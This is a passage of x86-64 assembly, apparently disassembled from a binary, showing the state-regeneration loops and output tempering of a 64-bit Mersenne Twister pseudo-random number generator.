and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4e0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x14004af20
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov rax, qword [rbx]
nop
mov rdx, rax
lea r8, [rbx + 8]
xor rdx, qword [r8]
btr edx, 0x1f
xor rdx, rax
movzx eax, dl
and al, 1
neg al
mov rax, qword [r8]
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx - 0xea0]
xor rcx, rdx
mov qword [rbx - 0x9c0], rcx
lea rbx, [r8]
sub rdi, 1
jne 0x14004af70
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 8]
mov rdi, qword [rsp]
btr edx, 0x1f
xor rdx, qword [r10 + 0x1380]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
mov qword [r10 + 0x9c0], rcx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov rdx, qword [r10 + rax*8 + 8]
lea eax, [rcx + 1]
mov dword [r10], eax
mov rcx, rdx
mov rax, qword [r10 + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
add rsp, 8
ret